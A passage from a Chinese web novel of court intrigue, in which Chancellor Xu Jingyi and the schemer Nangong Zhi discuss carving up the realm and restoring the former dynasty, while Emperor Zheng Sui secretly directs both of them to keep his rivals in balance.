哪怕心里头再也不服气,哪怕对方可能也会有堕落的那一天,甚至自己可以从曾经的手中刀,变成掌刀的那个人。 但只要对方稍稍露出一丁点儿重启的苗头,就还是会下意识的对对方产生惧怕。 “所以,他们如何背叛你的,你就如何抢回来。”南宫治恶狠狠的说道。 徐敬意被南宫治这番话刺激的狠狠的打了一个冷战。 不愧是祖上蛰伏数年,还能够重新走进皇宫的人。 这南宫治果然够狠,甚至不惜伤敌一千,自损八百。 但是徐敬意更明白一件事:“你这话说的倒是容易,我也大可使出手段来,将他们重新收服于麾下。但你应该更明白一个道理,一次不忠,百次不用。” 曾经咬过自己的狗,又如何能让他安安稳稳的待在自己身边。 没有直接杀掉扒皮吃肉,都已经算是天大的恩赐了。 南宫治却是微微一笑,轻轻抬起一根手指勾了勾。 “那徐兄可知道,训狗的法子?” 徐敬意愣住了。 第98章 人与狗并没有什么区别 “我南宫一脉这么多年被流放在外,虽然不必给那些披甲人为奴,但意识在边境苟且偷生。为了活下去,我们什么生意都做过,什么苦力也都出过。” 南宫治印象最深的,而是父亲带着自己上街去卖守护的灯笼的时候,旁边那个摊子的摊主训狗时的情景。 他是专门以卖狗为生的。 可是边境之初好狗不多,要想把这生意做成并非什么容易的事。 就只能去乡间野外寻那些野狗,回来之后慢慢训化。 野狗向来凶悍,因为它们自小流落在外,性情几乎与狼无异。 所以当时,那些野狗被关在笼子里,没有对着摊主呲嘴獠牙,反而会在他面前不由自主的垂下头去的情景,引起了很多人的注意。 后来慢慢的父亲和那个摊主混熟了,便询问了摊主其中关窍。 当时那情景南宫治记得很深。 摊主喝了一大碗的酒,红着脸对父亲说道。 “野狗之所以是野狗,因为它们天生生存于乡野之间。要与世间无数猛兽争夺口粮,若是不够凶悍,那只有活活饿死和被其他天敌咬死这两个结局。” 所以,若让这些野狗可以顿顿饱餐,它们还会像曾经游走于乡间野外的时候,那般凶悍吗? 不会的。 即便是野性难驯,时常会对着主人呲嘴獠牙,但也会有所收敛。 因为那些野狗慢慢的就会知道,自己做出什么样的姿态,露出什么样的表情会得到主人的宠爱,会从主人那里换取一顿饱餐。 “但是,如果那些野犬习惯了主人的投喂,难道不会再次露出本性来吗?”父亲问道。 摊主却笑着摇了摇头:“兄台可听说过一句话,叫由俭入奢易,由奢入俭难。” 人是如此,换做畜生也是一样的。 诚然,因为它们没有人那般会克制自己,因为他们天生就是畜牲,所以会习惯性地露出自己的獠牙来。 可正因为它们这般天然的习性,才越是要故意饿着它们。 “待那些野狗习惯了日日饱餐之后,就断了粮食,让它们饿上几顿。最开始的时候,确实会野性重现。但只要时日一长,便是再蠢的畜生也能明白,自己何时该露出獠牙,何时该夹起尾巴讨好卖乖。” 若是有那种实在驯服不了的,便狠狠的揍上它们一顿。 一次不行就来两次,两次不行就来三次。 习惯了,被殴打的日子也无妨。因为只要人自己能狠下心来,自然会有无数的手段能用于对付它们。 拔牙也好,剁爪也好。 只要是能想到的,可以用于折磨它们的法子都可以派上用场。那场景虽然残忍,甚至堪比于宫廷中的慎刑司,乃至于比起刑部大牢里的惨烈情景,亦是有过之而无不及,也不可以有丝毫的心软。 待到发现还是有那种瞧不出个眉眼高低的。还是不肯乖乖收起爪牙的,那就干脆杀了,总归也是野狗,没有什么可值得惋惜的,没了这一批还有下一批。 且杀掉这些野狗的时候,一定要用最狠最惨烈的手段。 还要当着那些同伴的面。 杀鸡儆猴,自是如此。 而且作为训狗人要极为有耐性。 因为这根本就不是可以一蹴而就的,所以训狗人需要花费很长很长的时间。 可能是几个月,可能是一年,也可能是几年,甚至是十几年。 但不管时间多久,都总归要记住一件事儿,就是一旦这件事成功了,可以收获的回报远比于付出的要多得多。 就这样日复一日,年复一年。 爱过了最痛苦的时候,挨过了那些让人饱受折磨,几乎恨不得去死的日子,终于等来了属于他的春天。 “从那个时候我就知道,人与狗其实并没有多大的区别。”南宫治说道。 “我们称其为畜类,可自己又何尝不是畜类的一种?或许很多时候人活的还不如一条狗,甚至有的人明明放着好日子,不过却偏偏要去给人当狗。所以,不管是归训一个人,还是归训一条狗,归根结底道理都是一样的。” 徐敬意从一开始听的云里雾里,到现在已经是全然明白了南宫治话中的道理。 有些事情很复杂,但想去解决一件事却未必要用同样复杂的方式,更不用费尽手段心机。 最简单最粗暴的,却往往出其不意。 这也是徐敬意之前大错特错的地方。 他没有学会恩威并施,遇到了有人背叛自己之后,首选亦是弃之不用。 所以他终究是把自己厉害成了一条光杆司令。 “不得不承认……”徐敬意艰难的开口,“我受教了。” 南宫治微微一笑,极为不客气地在徐敬意的肩膀上拍了两下。 “所以徐兄应该明白自己之后该怎么做。” 徐敬意极为不悦的看了一眼南宫治搭在自己肩膀上的手,虽然他也愿意承认南宫治所言有理,但终归被这么个人拿捏在手,心里并不是那么好受的。 骨子里对南宫治这种出身低贱之人的厌恶,徐敬意终究还是无法在一时半刻之间改变。 而南宫治似乎也没有让徐敬意改变的想法,他甚至直接忽略掉了徐敬意眼中那瞬间迸发的不耐,忽然就画风一转。 “但是我交给了徐兄这么多,自然也是要回报的。” 徐敬意缓缓皱起了眉。 他就知道,南宫治所求所愿,绝对不仅仅是继承祖上一致,替前朝列祖列宗报仇。 只怕他也是想坐上那皇位呢。 “你想要什么?”徐敬意问道。 他等着南宫治给他意料之中的那个答案。 但是南宫治却偏偏出乎于徐敬意的意料之外。 “我倒是想问问徐兄,等事成之后您想要什么?”南宫治问道。 徐敬意一愣,随即脸色变幻莫测。 他想要的是什么? 自然是坐上了至高无上的皇位了。 从始至终,徐敬意的想法都从来没有改变过。 不管是让他故作卑微也好,还是让他并雷霆之势而下也罢,终极目标也只有那一个。 南宫治此刻问自己这个,又是有什么意图? “你说呢?”徐敬意没有直言回答。 南宫治却微微一笑:“我与徐兄的想法大致相同,但也却有所不同。” 第99章 不如瓜分了 徐敬意忍不住转头瞥南宫治一眼。 直觉告诉徐敬意,他肚子里憋的可不是什么好屁。 几乎是下意识的,徐敬意就想阻止南宫治说下去。 然而已经话到了嘴边,又如何能够拦得住。 只见南宫治,对着徐敬意微微一笑,忽的就抬手打断了他。 “徐兄,您别着急呀。不如先听了我的想法再说。” 南宫治缓缓踱步到徐敬意身前,压低了声音在他耳边道:“这大齐地界宽广,可用之处那么多,你我二人,何不平分秋色?” 徐敬意听闻此言,当即便倒吸了一口凉气,满眼难以置信地看着南宫治。 若非知道南宫之语,那韩王并没有什么首尾,还当真要以为他们两个是里应外合,早就计划好了,合起伙来套路自己呢。 韩王当初的意思,不就是想自己称皇吗? 那韩王贪得无厌,徐敬意又岂会相信韩王是想以自己的封地为中心,重新建立一个新的国度? 他分明是知道,直接入主京城,谋反之意过于明显。 所以便谋划着要推翻朝政,将现有朝堂上这一干人等都打为逆贼。 再将其他的藩王都置于死地。 到时候,他韩王便是正统之中唯一一个有资格继承皇位的人。 而他又为了大齐肝脑涂地,为了兴复郑氏,只能在自己的封地上自立称皇,这都是“无奈之举”啊! 别看韩王口口声声说着,他不阻碍徐敬意得到他想要的皇位。可实际上韩王的盘算就是要把徐敬意推出去,当一个替自己顶罪的傀儡。 徐敬意前脚刚坐上皇位,后脚韩王就可以给他身上贴上个逆贼的标签,相较之下,谁还会在意韩王在荆州称皇呢? 毕竟,人家可是正儿八经的姓郑啊。 可这南宫治竟和韩王有一样的想法! 那他又是什么意思? 徐敬意又惊又疑的看向南宫治。 韩王的心机谋算,徐敬意已然知晓,大概明白他是什么目的。 但南宫治利用此招,似乎是有些多此一举了。 因为不论如何南宫治都是外姓人,甚至还是贱奴出身,他没有韩王那么大的底气,那瓜分大齐国土,便显得没了意义。 而南宫治也很快解答了徐敬意心中的疑惑。 “想来徐兄是不明白,我既然想要皇位,那为何不等到事成之后再与徐兄去争,却偏偏要现在就把事情挑明了对吧?” 徐敬意当然不解。 因为以南宫治这样的心机谋算,即便是他背后无人,但只要二人能够达成合作,要防备的人绝对是徐敬意,而不是南宫治。 因为徐敬意相信以南宫治的城府之深,他肯定能想尽办法把自己收拢来的那些人归于自己所用。 他光杆司令一个,都能走到现在,往后的路又有何愁? 但是他却偏偏要把这些事挑明了说,甚至直接提出了瓜分天下,而并不提争夺皇位之事,就让南宫治十分不解了。 却见南宫治微微一笑,说道:“我只要我自己想要的东西,不是我的,既不该拿也不会拿。” 徐敬意忍不住倒吸了一口凉气。 虽然南宫治这话说的很隐晦,但是徐敬意还是听明白了。 原因无他,只因前朝最为鼎盛时期,国土面积也只有现在大齐的三分之二。 所以南宫治想要的根本不是什么皇位,更不单单是想看郑氏皇朝覆灭,他要做的分明就是复辟! 南宫治并不是因为一己之私,才去做这些事的。 他背后也并非一个人都没有,而是有前朝的皇室宗族! 可是那些人早在大齐建立之时,就已经被屠戮殆尽,他们怎可能还存在于世间。 徐敬意大惊失色的看着南宫治,怎么也不肯相信自己的耳朵? 但是南宫治却笑着,静静的看着徐敬意。 分明是在说:没错,你猜到的就是事实。 徐敬意忍不住吞咽了一下口水。 这怎么可能呢? 大齐先祖有雷厉风行的手段,不仅仅是将前朝皇室宗族屠戮殆尽,就连那些嫁到了他国的公主,公主生下的孩子,他们也一个都没有放过。 听闻当初,有不少小国为了避难,纷纷将驾驭他们国家的公主以及皇子亲手奉上。 有的咽不下这口气,还想与之抗衡,大齐先祖就直接派兵出征,致使其国破家亡。 大齐的国土,有不少都是那个时候得来的。 大齐民间有一句戏言,便是说大齐皇帝下令抄家,家里就连条狗都不会剩下,连只苍蝇也要打死。 而对于有着家国之恨的前朝皇室宗族,他们又怎会轻易让其逃掉。 这根本就不可能啊! 一时间,徐敬意人都傻了。 他现在并不怀疑南宫治是在故意诓骗自己,而是怀疑自己已经疯了。 要不然他怎么会听到如此荒谬的言论。 然而南宫治却缓缓开口,直接戳破了徐敬意心中最后的侥幸。 “世间如此之大,又何尝没有容身之处。” 他抬手按住徐敬意的肩膀,强行把徐敬意按在了椅子上坐下。 “不妨告诉徐兄,前朝国破之时,末代皇帝最小的儿子,刚刚成婚不到一年。当大齐先祖大肆屠戮皇室宗族之时,那王妃已经提前服下了催产药,悄无声息的就生下了小世子,要身边的乳母将其偷偷抱走了。” 徐敬意倒吸了一口凉气,心脏在胸膛里狂跳着,几乎要蹦出来。 他不敢相信这是真的,当即便厉声怒吼道:“这绝对不可能!史书上明确有记载,那小皇妃当时根本就没有身孕!王府之中也唯有两个庶子,早就被杀了!” 南宫治却冷笑一声,反问徐敬意:“那请问,大齐先祖是何时谋逆的?又是何时开始举兵攻天下?” 徐敬意身子一软,整个人都瘫倒在了椅子上。 是啊,在前朝彻底国破前五六年,大齐先祖就已经打响了名号。 连年征战之下,是否国破谁又能说得清楚?谁又能够保证,这个国家,这些宗族,可以平安无恙。 所以,既然被取而代之几乎已经成了板上钉钉的事实,为何不能提前做准备? 第100章 还有后嗣在世 “倘若你仔细阅读史书,就会发现,在前朝末年皇室之中,几乎已无后嗣出生。别管是嫡是庶,要么胎死腹中,要么生下来也活不久。要么,就是当时大齐叛军入京后,便屠戮殆尽。”南宫治说道。 “你以为,真的是因为国家动荡, 所以才后嗣凋零的?” 不是的。 事实是那些后来出生的孩子,只要是生下来还能活的便被立刻悄悄送了出去。 从那个时候起,前朝就已经在为国破做准备了。 虽然他们提前许久就留了后手,但因为连连征战,活下来的就只有那小王妃生的一个。 可即便只有一个,又能如何? 只要他能平安无事的长大,只要他还能留下后人,只要他们南宫一族,还有活在世上的人,那么这一天就迟早会到来。 并非是南宫治处心积虑,而是他们南宫一族次被流放的那一日起,就已经在为此事做准备了。 这是一代又一代的积累,绝非一日之功。 而他南宫治只是恰巧的成为了那个人而已。 “然、然后呢……”徐敬意颤颤巍巍的开了口。 此刻即便是他再不愿意承认,也不得不承认,南宫治所说的就是事实了。 但他还有一事不解。 “他们明明可以占有整个大齐,岂不更加痛快?为何你与我提出瓜分大齐国土?” 南宫治斜眼瞥着徐敬意:“那么我问你,如果我们要占有一切,那你这个丞相又该何去何从?” 徐敬意觊觎皇位多年,仅剩一步之遥却被人一脚踹下来,他可能接受? 肯定不能。 便是拼了最后一口气,流干了最后一滴血,也要等到自己咽气的那天才算是真正有了定论。 “所以你想成为皇帝,可以。”南宫治嬉笑起来。 “但,不能坐在同一个皇位之上。” 徐敬意舔了舔干涩的嘴唇,眸色逐渐沉了下来。 纵然如此,也算是达成了目的,但不甘心还是不甘心。 拥有全部,与拥有不到一半,性质是完全不一样的。 但,也未尝不可。 只要能够得到,便可有以后。 现在唯一要防备的就是,当自己如愿坐上了那个位置之后,是否还另有险情? 徐敬意终于定了定神,缓缓抬起头来看向南宫治。 “你如何能保证我全无后顾之忧?” “若说全无后顾之忧,是不可能的。”南宫治说道。 “人生在世也不过短短几十年罢了,我迟早有死的那一天,所以我今日与你作出的承诺,不可能永远算数。” 徐敬意皱起了眉。 “如你所说,若我们瓜分大齐领土。那必然是你占多我占少,守着那么小的地界,几乎一切都要从头开始。在一切动荡不安之时,即便是我坐上了那个位置,依旧难以长久。” 说穿了,不过是看他们的心情。 若是高兴了,或许能让他们安安稳稳的过上几年。 若是不高兴了,真的出兵征讨,想来也撑不了多久。 所以,这个策略,怎么看都是徐敬意吃亏。 南宫治却挥了挥手:“诚如徐兄所言,您的确没从中讨到太多的好处。但同样的,您是初登皇位,我们这边意识得整顿朝堂江山。” 他自顾不暇,难道南宫治这边就能好到哪里去? 且不说,起初根本就没有精力去征讨他们,就算是想要征讨,可也得师出有名吧。 “况且想达成这个目的,也少不了徐兄的帮助。若允了许兄好处,却匆匆收回。不仅徐兄不服,也怕是难堵天下,悠悠众口。” 所以南宫治能保证的,就是在他有生之年,在未来会做上皇位的那个天命之人的有生之年,不动徐敬意。 甚至如果徐敬意不放心,他们还可以签下一份互不干涉的契约。 至于其他手段,互市、联姻,都可以。 只要能够维持住眼下的安定,只要双方都是心甘情愿的,那就没什么可不能答应。 所以,只看徐敬意怎么想了。 “徐兄要知道,任何一个国家,任何一个朝代都不可能永无后患之忧。” 这只是一个理想的状态罢了。 抛开理想之外,究竟能做到什么程度,就各凭本事吧。 徐敬意陷入了沉默之中。 过了许久之后,他似乎是有些妥协了。 但却还是和南宫治说了一句:“对我说了这么多,也把后边的计划原原本本的讲给了我,那难道你就不害怕,将此事告诉给皇帝?” 南宫治心机深,前朝余孽心机深,但郑遂的心机只怕远在他们之上。 把自己玩弄的团团转,这么久了才露出端倪来,可见此人并非池中之物。 南宫治想与其对抗,真的那么容易吗? 南宫治却笑而不语,只是深深的看了徐敬意一眼。 徐敬意骤然抿住了嘴唇。 南宫治虽未开口,但他的意思却已经很明确了。 他就是没有把郑遂放在眼里。 况且就算是郑遂把所有人都耍了,和他南宫治隔岸观火,不也是看出了郑遂真正的意图? 而相反的南宫治并未像郑遂那般费心费力,却也从中坐收渔利,单凭着一个男宠的身份,就能走到如今的地步,所以他为何要畏惧郑遂。 只怕徐敬意这一开口,南宫治自己还没怎么样呢,徐敬意自己的命就先保不住了。 毕竟南宫治也只是藏在暗地里的人,郑遂没有证据,就不可名正言顺的杀了他。 哪怕暗杀,也得想一想南宫治背后的人。 南宫治一马当先,撕开了一个口子,即便是南宫治死了,前朝遗留下来的那些皇室遗孤也可以顺着这个口子钻入大齐的朝堂。 所以徐敬意去告状也不会对他们产生什么影响。 倒是郑遂与徐敬意虚以委蛇这么久,早就已经看不惯徐敬意的为人了。 徐敬意主动去说,就相当于送上了把柄。 那郑遂正愁没有理由杀徐敬意呢,这可不就是瞌睡了,便有人来给递枕头? 徐敬意听着南宫治的话,慢慢的分析出了事情的利弊。 瞬间,徐敬意就忍不住打了个寒战。 没错,告状对自己来说没什么好处。 【亲爱的读者,如果认为内容可以,记得加入书架哦,方便下次阅读~】 第101章 徐相是大功臣 且他与郑遂早就已经是不共戴天的仇人了,他又怎么可能拉得下脸面,跑到郑遂面前去故意伏小做低。 今天来到徐妙晴面前故作姿态就已经让徐敬意恶心的不行了,这种事有过一次,绝对不能有第二次。 与其做作的表演,他到宁愿自己和南宫治一起去冒一番风险。 “那你现在需要我怎么做?”徐敬意说道。 “皇帝让你做什么,你就做什么喽。”南宫治说道。 “徐兄不必担忧,等你到了皇帝的面前,你就知道该如何回话了。 徐敬意眉头紧锁,过了片刻之后,他终于点了点头。 “那也希望你能够兑现承诺,莫要做出让人失望的事情才好。”徐敬意说道。 南宫治微笑着颔首:“你放心。” 徐敬意深深的看了南宫治一眼,这才转身离开了。 南宫治在徐敬意转身的一瞬间,嘴角的笑容就渐渐冷了下来。 他轻轻打了一下身上的袍子,随即转身坐到了桌边,轻轻的抿了一口已经凉透了的茶。 徐敬意回到了乾清宫。 这一路上,徐敬意都在心里翻来覆去的思量着南宫之语他说的那些话。 其实徐敬意扪心自问,若让他与南宫治合作,他是一千一万个不愿意的。 原因无他,抛开南宫治本就卑贱的身份来讲,就他这心机谋算徐敬意自认玩不过他。 但若是让他放弃从前的一切,转头投奔郑遂,与他一起对抗徐敬意和那些前朝余孽徐敬意更做不到。 同样是仇敌,哪个恨的深哪个恨的浅徐敬意还是分得清楚的。 所以思量了一路,徐敬意还是决定先与南宫治合作了再说。 正如南宫治所言,既然要做这件事,就不可能一点后顾之忧都没有。 也像他所说的那般,未来会发生什么,谁也确定不了。 所以即便是现在合作,未来的路怎么走,那也是保证不了的,倒不如走一步看一步,也能给自己留下足够的时间,来思考往后该怎么办。 另外,南宫治让自己去糊弄郑遂,这招也恰恰好好给他留有了余地。 郑遂主动说了要与徐妍大婚,虽然这也定是郑遂的谋算,但徐家从此可和皇室有了姻亲关系。 一旦和南宫治合作不成,徐敬意还有机会回头。 况且现在将自己那些已经背叛的手下拉拢回来,已是势在必行。 只要未来背后还有帮衬,又何愁只能在众多途径中只选一条。 思量间,徐敬意已经到了乾清宫前。 大太监王喜一直守在殿外,见到徐敬意前来,便立刻笑脸相迎。 低声道:“徐相辛苦了,陛下已经等候多时,请容奴才先去通传一声,徐相稍后片刻即可。” 徐敬意微微颔首,王喜便即刻转身进了乾清宫。 片刻之后,王喜便出来了,说郑遂请他进去。 徐敬意整理了一下表情,继续摆出一副如之前一般卑微恐惧的姿态,灰溜溜的进入了乾清宫大殿。 郑遂见他回来便立刻从龙椅上起身,三步并作两步的走上前,紧紧握住了徐敬意的手。 “徐相此去辛苦了,如何了?” “陛下,微臣惶恐。”徐敬意颤颤巍巍的跪倒在地,顷刻间就做出一副恐惧到无法自拔的模样。 声音颤抖着说道:“微臣前去与太后示弱,而太后姿态格外嚣张。竟丝毫没有遮掩的意思,直言告诉微臣,禁军正是她笼络的。她早就看不惯微臣了,她还说自己要坐上女皇的位置。” 徐敬意说着便老泪纵横,把头埋得极低。 “陛下呀!这古往今来,哪有女子做皇帝的道理?便是蜀国出过那么几位女皇,可终究也是不成气候。至今为止,都只能成为大国的附属,偏于一隅,连大气都不敢喘。这大齐要是真落在了他的手里,只怕危矣!” 郑遂目露惊讶,语气中即刻就带上了掩盖不住的怒气。 “岂有此理!她竟然生出了如此大逆不道的想法!” “而且不止于此啊陛下!”徐敬意痛心疾首的道。 “太后不仅自己嚣张跋扈,就连她身边的那个男宠亦是不把微臣放在眼里。微臣甚至不惜一死,也与太后娘娘说明了那个南宫治来路不明,不可轻信。可是太后娘娘却说,她与南宫治是一条心的,南宫治想覆灭大齐,太后娘娘亦是这个想法!甚至、甚至还说……” “说什么?!”郑遂急切的上前一步。 “说她与南宫治即便没有名分,也算是夫妻了呀!”徐敬意一头撞在地上,痛哭失声起来。 “太后娘娘还说待到她来日登上皇位,还要封南宫治为皇夫呢!” 徐敬意连滚带爬的上前,死死的揪住郑遂的袍子,就差直接抱住郑遂的大腿痛哭流涕了。 这般模样倒当真像一个幡然悔悟,愿意为朝堂倾尽心血的丞相。 郑遂任由徐敬意扯着自己,面上一脸的哀痛,可实则心中却冷笑连连。 这谎话他自己信吗? 徐敬意还真是越来越张口就来了。 随即郑遂连拉着徐敬意的手,将他从地上搀扶起来。 “徐相真是辛苦了,是朕不好,让你死去听到了如此肮脏不堪的言论。不过徐相放心,你打听出来的这些东西,于朕而言是有大用处的。朕总有一天,会替徐相报了今日受辱的这个仇!” 徐敬意含泪点头:“微臣从前多有做错的地方,如今微臣也不敢期盼陛下能为微臣报仇。微臣只盼着能为从前的错事略作弥补,便是死而无憾了!” 郑遂满脸的感动,实则心中却已是嘲讽的不行。 死而无憾? 他可真是张口就来呀! 要是让他即刻去死,他又不高兴了。 随即他拍了拍徐敬意的手:“徐相这一次劳苦功高,既然今日无事,便早些回去休息吧。毕竟徐相这一路赶回京城,也没踏实过,应该回去多多调养一下身体。” 徐敬意却心中一惊。 “陛下!”这回徐敬意的语气中倒是带上了几分真切的恐惧。 “微臣之故宫之后可就……” 第102章 这是故意让他受罪 就他现在这个情况,只怕前脚刚刚离开皇宫,后脚就会被韩王的那些手下给直接抓走。 回家? 往哪里回? 徐敬意现在还有家吗? 别人动手,都是有来有回,有进有退,只有韩王,恨不得把徐敬意直接弄死了,把他手中所拥有的权势地位全都归于己有才算是痛快。 而且这回韩王让他进宫是为什么啊? 不就是为了让他料理了背后作祟之人吗? 明面上,徐妙晴是那个在背后捣鬼,笼络了禁军,给韩王造成了莫大危机的人。 可实际上,动手的人是郑遂。 现在这一个两个的,徐敬意都动不起啊。 一来是一旦走错一步,自己小命不保。二来是徐敬意根本就不能对任何一方下死手,因为无论哪方面,于他而言都不是完全可以信任,但又不能完全出去的。 都是仇敌,也都是退路。 目前的情况就是如此矛盾。 可从另外一个方面来讲,他选择了这两头,对韩王那边就没法交代。 徐敬意顿时愁成了一张苦瓜脸,整个人都萎靡了。 心里头只剩下了一个想法:他何时有打过如此不富裕的仗? 而郑遂却露出了一个颇为疑惑的表情:“徐相为何恐惧?朕不是都已经告诉徐相如何应对了吗?朕很快就会昭告天下朕即将迎娶皇后的消息。徐相便是要忍耐,也不过几日而已。” 徐敬意已经快被郑遂的话给气笑了。 几日而已? 好一个几日而已。 他要是不知道郑遂心里想着什么,自然会按照郑遂的话乖乖去做。 就算是要受辱,徐敬意也可以像郑遂所说,暂且忍耐。 但是现在自己知道了,郑遂那些看似为自己好的话,就都成了心怀不轨,就都在徐敬意的心里变了味道。 他在哪里是逼不得已,只能让自己忍一忍再说,分明就是故意送他回去受辱的! 郑遂他再不济也是个皇帝,韩王再厉害,终归是个藩王。 哪怕是即刻就要起兵造反,那也得像秦王一样一座城一座城的打进来。 他要是敢直接来京城,除非从踏入距离竟成方圆百里的距离内就开始夹起尾巴做人。 否则只要郑遂一声令下,被他所收拢的那些禁军就会即刻前去拿下韩王的狗头。 就更别提那些已然背叛自己,正在当墙头草的手下了。 军队可不是自己一个人掌控的,他们也可以调令。 万一为了在郑遂面前卖个好,与军队的那些将领里应外合,就像当初派出禁军去那般主动进谏,郑遂岂有不减这白来便宜的道理? 所以除非韩王脑子进热油锅里滚了一圈,已经被炸成了热气腾腾的脑花,否则他也不至于愚蠢至此。 既然事实如此,那郑遂何不假称有事将自己留在宫中? 何必还要推他出去受辱? 可想到这里时,除了愤怒以外,更多的是浑身的劲儿使不出来的无力感。 他徐敬意如今的身份地位,哪里还有资格为了这种事而生气? 且不说郑遂没管他,南宫治主动要求要与他合作,不也是没管他吗? 他就不相信了,以南宫治控制住徐妙晴那些手段,还能让徐妙晴不肯乖乖点头,答应把徐敬意留在宫里。 且徐妙晴那边儿还有更合适的理由呢。 再怎么说他俩也是亲兄妹,徐敬意好不容易回京,留他在宫中小住一下叙叙旧又能怎么了? 反正这宫里早就已经乱成一锅粥了,别说是男女大防,就连最基本的礼法也早就不知道被扔到哪里去了。 谁还会管这些? 而且徐妙晴要是能主动把自己给留下,对韩王那边亦是个交代。 韩王总归会猜测,是徐敬意这边已经得到了徐妙晴的信任,暗戳戳的准备对他出手了。 徐敬意心里颠来倒去的思量着这些,而郑遂始终一言不发,一直静静的看着徐敬意,脸上依旧挂着那种故意装出来的茫然表情。 徐敬意越看越是火大。 换做他往常风光时,便是不一拳打在郑遂的脸上,也得是把他骂的哭爹喊娘。 既如此,徐敬意继续留下去也是自讨苦吃。 就只能强忍下心中的不满,对着郑遂恭恭敬敬的行礼道。 “那、那微臣就依陛下所言,先行退下了。” 可在临走之前,徐敬意还是不忘给郑遂上上眼药。 “如今韩王虎视眈眈,还请陛下早日拿出个决断来。迎娶皇后之事,终究只能延缓,而非最基本的解决办法。” 反正事都已经摆在他面前了,至于郑遂怎么做,自己选去吧! 他要是忍不了,直接派出禁军去,那徐敬意正好有机会趁机和南宫治理应外合,偷偷在这皇宫之中搞出些乱子来。 要是郑遂什么都不做,那韩王肯定会继续作威作福,踩在郑遂的头顶上拉屎。 到时候哪怕这本就是郑遂计划中的一环,他郑遂终究不会那么好受。 且若是韩王嚣张跋扈惯了,郑遂纵容之下,他的行事风格也只会越来越猖狂。 郑遂贵为天子,可以忍,但底下的百姓却忍不了。 都是为了生存,都不过是为了讨口饭吃罢了。 如今却要直接把人家的饭碗砸了,把人家的家一把火点了,百姓们即便畏惧皇权能忍耐一时,可怨声载道,也不过时间问题。 要是到时候,再能加上个百姓揭竿而起,那这场面可就更好看了。 一想到这些可能存在的潜在隐患,徐敬意心里就高兴的不得了。 哪怕这些事很可能不会发生,但只要鞠婧祎想得痛快了,他心里的火气就能发泄出去一些。 可郑遂又何尝看不出徐敬意脸上的洋洋得意,当下心中便只剩下了一个想法。 这徐敬意怕是被自己逼得太紧,多面夹击之下已经有点疯了。 自从自己穿越过来之后,何时见过需要自我安慰,才能让自己过得舒坦些的徐敬意啊。 好笑,可真是太好笑了。 郑遂面上不显,郑重的拍了拍徐敬意的手。 “徐相且安心的去吧,朕一定会暗中派人保护好徐相的安全的。” 第103章 为何不信任朕 徐敬意还不能死,至少现在不行。 他已是强弩之末,没了翻身的余地。但他曾经的所作所为,却足以将他钉在耻辱柱上,永世无法翻身。 就凭他这恶劣的名号,都能替郑遂分担不少火力了。 所以就算是徐敬意此刻自己想死,一只脚已经踏进了阎王殿里,郑遂也会把他拉出来的。 看着徐敬意的背影彻底消失在大殿门口,郑遂缓缓转了个身,端坐在龙椅之上。 低声问道:“南宫治何在?” “回陛下,南宫先生那边传消息说,今夜子时,他会亲自前来与陛下相商。” “好。”郑遂微微颔首,随后慵懒的打了个哈欠。 既如此,那就先行养精蓄锐吧。 子时不到,南宫治就已在王喜的接应之下,被带进了乾清宫中。 “奴才参见陛下。”南宫治规规矩矩的对着正随行了个礼。 “南宫先生请起吧。”郑遂说道。 “今日之事,你做的不错。” 南宫治连忙谦逊颔首:“都是陛下英明神武,换做奴才是断断,不会想到这么多的。” 没错,南宫治主动向徐敬意透露,是郑遂在背后算计他许久的事,正是郑遂要求南宫治去这么做的。 这正是郑遂的制衡之道。 倘若让徐敬意一门心思的以为,都是徐妙晴在背后搞的鬼,以徐敬意的性子,他定然很难忍受被亲妹妹算计,更接受不了一个后宫女子竟对皇位生出了不该有的心思。 即便是郑遂出言安抚,让徐敬意暂且在徐妙晴的面前虚以委蛇,也难保徐敬意不会有忍耐不了,直接动手的可能。 到时候徐妙晴要是出了什么事,那郑遂所一手打造出来的,三足鼎立的现状可就全没了。 京城这边若是不能互相制衡,藩王们便会寻到空子,借机培养自己的势力。 一旦让他们兵强马壮,他们必会顺势入侵京城。 到时候难受的人依旧是郑遂。 所以郑遂的想法是,谁也不能出事,更不能死。 他就是要借着这些人之手,挨个的收拾掉那些藩王。 一点一点的扩充自己的势力范围,知道他真的能有全部的实力,用于对抗这些逆贼之时,郑遂才会比雷霆之威而下,直接将所有人都一网打尽。 南宫治依旧在下手徐徐回道:“徐相对于奴才与他所说的路数,明面上十分认可。但在他心里,却始终无法接受瓜分国土这一建议。想来,徐敬意最近便会去收拢那些分散的旧部,巩固自身实力了。” 郑遂微微点了点头:“很好,就是要让他这样。” 郑遂可不会傻到选择去重新重用一群曾经和徐敬意联合在一起,背叛皇室,甚至恨不得将其置于死地的人。 只是光料理,眼前这几个有什么用? 这徐敬意的势力,可是大的很呢。 必须得让徐敬意自己去一个个的把他们全都搜罗起来,郑遂才能省力。 “最近对徐妙晴那边可以放松一些了。”郑遂说道。 南宫治立刻会意:“奴才明白。” 既然都已经让徐敬意尝到甜头了,那就得让徐妙晴也尝到些甜头。 两条线并行,让他们两个都能感觉到自己与南宫治合作是会有收获的,才会全心全意的相信南宫治。 “陛下还有什么要吩咐奴才的吗?”南宫治恭敬问道。 “你只需要回去盯紧他们两个的动静,记住,要在合适的时机,让他们兄妹二人能够‘重归于好’,其中轻重你自己掂量。” 南宫治立刻恭谨地弯下腰去,重重叩首。 “奴才明白。” 随即便起身离开。 “出来吧。”南宫治的身影刚消失在乾清宫的大殿门口,郑遂便轻声说道。 他虽未回头,但也知道徐妍就静静地站在屏风后头。 徐妍悄然走了上来,刚在郑遂的身边站定,郑遂的大手忽然就揽了上来,搂住徐妍的腰,把她往自己身上一带。 徐妍惊呼一声,身体不受控制的扑进了郑遂的怀里。 当即便闹了个大红脸,微微抬起头,有些羞怯的看了郑遂一眼。 但在触及到郑遂意味深长的目光后,徐妍又连忙垂下眸子避开了他的视线。 “何故羞涩?”郑遂轻笑着问道。 “我马上就是朕的皇后了,怎么搞的,还像是把朕当外人一样。” 郑遂说着,便伸出手轻轻捏住了徐妍的下巴。 徐妍被迫抬起头来,只能凝视着郑遂的眼。 郑遂勾了勾唇角,忽然问道:“不过,朕倒是有一个问题。你马上就是一人之下万人之上的皇后了,为何行事依旧如此小心翼翼?” 徐妍心中忽然升起一种不祥的预感,目光开始躲躲闪闪起来。 “哪、哪里有……” “真的没有吗?”郑遂一勾唇角。 “那朕问你,朕若有什么事会欺瞒于你吗?为何每次都要躲在屏风后面偷听?” 郑遂说这话时,虽然是笑着的,可是徐妍却分明从他眸中看出了彻骨的寒意。 徐妍心里顿时咯噔一下,紧接着就明白了什么。 